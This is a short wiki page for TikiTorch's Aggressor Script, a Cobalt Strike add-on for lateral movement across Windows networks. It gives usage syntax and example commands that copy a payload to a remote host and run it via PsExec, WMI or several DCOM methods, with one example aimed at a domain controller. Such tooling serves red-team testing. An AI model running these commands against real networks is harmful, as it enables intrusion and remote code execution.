4

Aggressor

Rasta Mouse edited this page 2019-09-01 12:55:17 +01:00

Table of Contents

• TikiExec
• Usage
• TikiLateral
• Usage
• MiscTools

TikiTorch.cna provides an Aggressor Script and Template files for Cobalt Strike.

TikiExec

tikiexec automates lateral movement using PsExec.

Usage

Copy a TikiTorch payload to the remote target
and execute it using the Service Control Manager.

Use: tikiexec [target] [listener] [x64|x86] [binary]

TikiLateral

tikilateral automates lateral movement using multiple payloads and remote code execution techniques

Usage

Execute a TikiTorch payload on the remote target using
the specified payload type and code execution method.

Use: tikilateral [target] [listener] [x64|x86] [binary] [payload] [method]

     Payloads: powershell
               msbuild
               workflowcompiler

     Methods: wmi:processcallcreate
              dcom:mmc20.application
              dcom:shellwindows
              dcom:shellbrowserwindow
              dcom:exceldde

Example: tikilateral dc1 smb x64 c:\windows\system32\svchost.exe msbuild dcom:mmc20.application
Example: tikilateral dc1 smb x64 c:\windows\notepad.exe powershell wmi:processcallcreate

MiscTools

MiscTools are required to execute the commands on the target systems.